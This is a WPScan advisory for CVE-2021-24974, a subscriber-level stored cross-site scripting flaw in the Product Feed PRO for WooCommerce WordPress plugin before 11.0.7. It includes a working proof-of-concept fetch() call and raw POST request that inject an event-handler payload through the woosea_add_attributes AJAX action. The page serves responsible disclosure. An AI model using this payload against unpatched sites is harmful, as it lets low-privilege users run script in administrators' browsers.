WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Product Feed PRO for WooCommerce < 11.0.7 - Subscriber+ Settings Update to Stored XSS

Description

The plugin does not have authorisation and CSRF check in some of its AJAX actions, allowing any authenticated users to call then, which could lead to Stored Cross-Site Scripting issue (which will be triggered in the admin dashboard) due to the lack of escaping.

v10.9.1 added a CSRF check, however authorisation was still missing until 11.0.7

Proof of Concept

fetch("https://example.com/wp-admin/admin-ajax.php", {
    "headers": {
        "content-type": "application/x-www-form-urlencoded",
    },
    "body": "action=woosea_add_attributes&attribute_name=x&attribute_value=\'\" style=animation-name:blinker onanimationstart=alert(1) x=&active=true",
    "method": "POST"
});

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
Content-Length: 138
Connection: close
Cookie: [any authenticated user]

action=woosea_add_attributes&attribute_name=x&attribute_value='"+style=animation-name:blinker+onanimationstart=alert(/XSS/)+x=&active=true

The XSS will be triggered when creating a feed (at the second step/page) 

Affects Plugins

woo-product-feed-pro
Fixed in version 11.0.7

References

CVE
CVE-2021-24974

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
8ed549fe-7d27-4a7a-b226-c20252964b29

Timeline

Publicly Published

2021-12-23 (about 1 years ago)

Added

2021-12-23 (about 1 years ago)

Last Updated

2022-04-10 (about 9 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us